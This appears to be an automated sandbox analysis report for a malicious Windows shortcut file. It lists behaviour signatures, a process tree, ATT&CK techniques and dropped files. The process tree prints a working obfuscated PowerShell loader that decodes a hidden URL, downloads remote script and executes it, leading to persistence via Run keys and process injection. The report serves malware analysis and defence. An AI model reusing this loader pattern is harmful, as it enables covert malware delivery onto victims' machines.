Analysis
- max time kernel
149s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
29/07/2026, 11:41
General
- Target photov_420048308378.lnk
- Size 2KB
- Sample260729-ntwjhsshpg
- SHA256 f637f66aaa3ad054dafa58dc9d310d4b654f7561f66a28840d2fc882b37621ac
Malware Config
Signatures
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 3 IoCs
- Loads dropped DLL 7 IoCs
- Adds Run key to start application 2 TTPs 2 IoCs
- Suspicious use of SetThreadContext 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 2 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 14 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\photov_420048308378.lnk1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c powershell -WindowStyle Minimized -c "$mygj=30;$n32qr497=68;$p6i6f=[bigint]::Parse('593167116980496944095073512253296061');$ztun4yd9wr=[bigint]::Parse('26522397976900016243104459348');$p6i6f=$p6i6f-$ztun4yd9wr;$fm3nq=@();while($p6i6f -gt 0){$fm3nq+=[char][int]([bigint]::Remainder($p6i6f,256));$p6i6f=[bigint]::Divide($p6i6f,256)};.([scriptblock]::Create((irm(-join$fm3nq))))"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Minimized -c "$mygj=30;$n32qr497=68;$p6i6f=[bigint]::Parse('593167116980496944095073512253296061');$ztun4yd9wr=[bigint]::Parse('26522397976900016243104459348');$p6i6f=$p6i6f-$ztun4yd9wr;$fm3nq=@();while($p6i6f -gt 0){$fm3nq+=[char][int]([bigint]::Remainder($p6i6f,256));$p6i6f=[bigint]::Divide($p6i6f,256)};.([scriptblock]::Create((irm(-join$fm3nq))))"3⤵
- Badlisted process makes network request
- Adds Run key to start application
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\nnhpnupz_rah_upd_cqylhb30c15aa27274e\psl.exe"C:\Users\Admin\AppData\Local\nnhpnupz_rah_upd_cqylhb30c15aa27274e\psl.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"5⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
C:\Windows\system32\cmd.exe"cmd /c start "" /D "C:\ProgramData\pslservicewinx32" "C:\ProgramData\pslservicewinx32\psl.exe""1⤵
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\pslservicewinx32\psl.exe"C:\ProgramData\pslservicewinx32\psl.exe""2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\Temp\DCRCVDrv.sysC:\Windows\Temp\DCRCVDrv.sys1⤵
- Executes dropped EXE
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Replay Monitor
Loading Replay Monitor...
Downloads
libiconv-2.dll
libidn2-0.dll
vcruntime140.dll
__PSScriptPolicyTest_nvywfous.j5x.ps1
wqnpuuzcs_wvk_ptdmg.zip
libintl-8.dll
libpsl-5.dll
libunistring-5.dll
msvcp140.dll
psl.exe
ucrtbase.dll
vcruntime140_1.dll
DCRCVDrv.sys
memory/460-14-0x000001D378200000-0x000001D378728000-memory.dmp
memory/460-17-0x000001D3776E0000-0x000001D3776F2000-memory.dmp
memory/460-12-0x000001D377B00000-0x000001D377CC2000-memory.dmp
memory/460-0-0x000001D3749E0000-0x000001D3749F0000-memory.dmp
memory/460-13-0x000001D3749E0000-0x000001D3749F0000-memory.dmp
memory/460-10-0x000001D3749E0000-0x000001D3749F0000-memory.dmp
memory/460-15-0x000001D3749D0000-0x000001D3749DA000-memory.dmp
memory/460-11-0x000001D3749E0000-0x000001D3749F0000-memory.dmp
memory/460-9-0x000001D374730000-0x000001D374752000-memory.dmp
memory/460-1-0x000001D3749E0000-0x000001D3749F0000-memory.dmp
memory/1260-85-0x0000000000010000-0x000000000003D000-memory.dmp
memory/1356-191-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-163-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-106-0x0000000004C70000-0x0000000004C8A000-memory.dmp
memory/1356-107-0x0000000004CA0000-0x0000000004CCC000-memory.dmp
memory/1356-227-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-229-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-225-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-223-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-221-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-1367-0x0000000006820000-0x0000000006DC4000-memory.dmp
memory/1356-219-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-217-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-215-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-212-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-209-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-208-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-205-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-204-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-201-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-199-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-197-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-193-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-1366-0x00000000061D0000-0x0000000006262000-memory.dmp
memory/1356-189-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-187-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-185-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-183-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-179-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-178-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-175-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-173-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-171-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-170-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-167-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-166-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-104-0x0000000000750000-0x00000000007C0000-memory.dmp
memory/1356-162-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-159-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-158-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-155-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-154-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-151-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-149-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-147-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-145-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-143-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-141-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-137-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-135-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-133-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-131-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-129-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-127-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-125-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-123-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-213-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-195-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-181-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-117-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-139-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-115-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-113-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-111-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-109-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-121-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-108-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-119-0x0000000004CA0000-0x0000000004CC6000-memory.dmp
memory/1356-1363-0x0000000005040000-0x00000000050A6000-memory.dmp
memory/3880-630-0x0000000000400000-0x0000000000470000-memory.dmp
memory/4216-105-0x00007FF6FEB60000-0x00007FF6FEB75000-memory.dmp